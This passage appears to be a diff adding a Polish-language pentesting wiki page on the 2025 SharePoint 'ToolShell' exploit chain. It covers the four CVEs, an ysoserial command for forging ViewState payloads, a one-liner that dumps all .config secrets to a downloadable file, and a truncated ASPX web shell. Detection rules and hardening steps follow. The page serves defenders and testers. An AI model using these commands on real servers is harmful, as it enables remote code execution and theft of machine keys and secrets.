+python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// +``` +## 2. 2025 exploit chain (a.k.a. “ToolShell”) + +### 2.1 CVE-2025-49704 – Wstrzykiwanie kodu w ToolPane.aspx + +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` pozwala na wstrzyknięcie dowolnego kodu *Server-Side Include* na stronę, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wykonuje `Process.Start()` i wprowadzić złośliwy ViewState. + +### 2.2 CVE-2025-49706 – Nieprawidłowe obejście uwierzytelniania + +Ta sama strona ufa nagłówkowi **X-Forms_BaseUrl**, aby określić kontekst witryny. Wskazując go na `/_layouts/15/`, MFA/SSO wymuszone na stronie głównej może być obejście **bez uwierzytelnienia**. + +### 2.3 CVE-2025-53770 – Deserializacja ViewState bez uwierzytelnienia → RCE + +Gdy atakujący kontroluje gadżet w `ToolPane.aspx`, mogą przesłać **niesigned** (lub tylko MAC) wartość `__VIEWSTATE`, która wywołuje deserializację .NET wewnątrz *w3wp.exe*, prowadząc do wykonania kodu. + +Jeśli podpisywanie jest włączone, skradnij **ValidationKey/DecryptionKey** z dowolnego `web.config` (patrz 2.4) i sfałszuj ładunek za pomocą *ysoserial.net* lub *ysodom*: +``` +ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | +ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt +``` +Aby uzyskać szczegółowe wyjaśnienie dotyczące nadużywania ASP.NET ViewState, przeczytaj: +{{#ref}} +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md +{{#endref}} + +### 2.4 CVE-2025-53771 – Przechodzenie ścieżek / ujawnienie web.config + +Wysłanie spreparowanego parametru `Source` do `ToolPane.aspx` (np. `../../../../web.config`) zwraca docelowy plik, umożliwiając wyciek: + +* `` ➜ fałszowanie ViewState / ciasteczek ASPXAUTH +* ciągi połączeń i sekrety. + +## 3. Przepisy poeksploatacyjne zaobserwowane w dziczy + +### 3.1 Ekstrakcja każdego pliku *.config* (wariant-1) +``` +cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" +``` +Wynikowy `debug_dev.js` można pobrać anonimowo i zawiera **wszystkie** wrażliwe konfiguracje. + +### 3.2 Wdrożenie powłoki sieciowej ASPX zakodowanej w Base64 (wariant-2) +``` +powershell.exe -EncodedCommand +``` +Przykład zdekodowanego ładunku (skrócony): +```csharp +<%@ Page Language="C#" %> +<%@ Import Namespace="System.Security.Cryptography" %> + +``` +Napisane do: +``` +C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx +``` +Shell udostępnia punkty końcowe do **odczytu / rotacji kluczy maszyny**, co pozwala na fałszowanie ciasteczek ViewState i ASPXAUTH w całej farmie. + +### 3.3 Obfuscated variant (variation-3) + +Ten sam shell, ale: +* umieszczony w `...\15\TEMPLATE\LAYOUTS\` +* nazwy zmiennych zredukowane do pojedynczych liter +* dodano `Thread.Sleep()` dla unikania piaskownicy i omijania AV opartego na czasie. + +## 4. Pomysły na wykrywanie + +| Telemetria | Dlaczego to jest podejrzane | +|------------|------------------------------| +| `w3wp.exe → cmd.exe` | Proces roboczy rzadko powinien uruchamiać powłokę | +| `cmd.exe → powershell.exe -EncodedCommand` | Klasyczny wzór lolbin | +| Zdarzenia plików tworzące `debug_dev.js` lub `spinstall0.aspx` | IOCs prosto z ToolShell | +| `ProcessCmdLine ZAWIERA ToolPane.aspx` (logi ETW/Module) | Publiczne PoCs wywołują tę stronę | + +Przykład reguły XDR / Sysmon (pseudo-XQL): +``` +proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") +``` +## 5. Wzmacnianie i łagodzenie + +1. **Patch** – aktualizacje zabezpieczeń z lipca 2025 roku naprawiają *wszystkie* cztery CVE. +2. **Rotuj** każdy `` i sekrety `ViewState` po naruszeniu. +3. Usuń *LAYOUTS* uprawnienia do zapisu z grup `WSS_WPG` i `WSS_ADMIN_WPG`. +4. Zablokuj zewnętrzny dostęp do `/_layouts/15/ToolPane.aspx` na poziomie proxy/WAF. +5. Włącz **ViewStateUserKey**, **MAC enabled** oraz niestandardowe *EventValidation*. + +## Powiązane triki + +* IIS po eksploatacji i nadużycie web.config: +{{#ref}} +../../network-services-pentesting/pentesting-web/iis-internet-information-services.md +{{#endref}} + +## Źródła + +- [Unit42 – Aktywna eksploatacja luk w zabezpieczeniach Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) +- [GitHub PoC – łańcuch eksploatacji ToolShell](https://github.com/real-or-not/ToolShell) +- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) + +{{#include ../../banners/hacktricks-training.md}}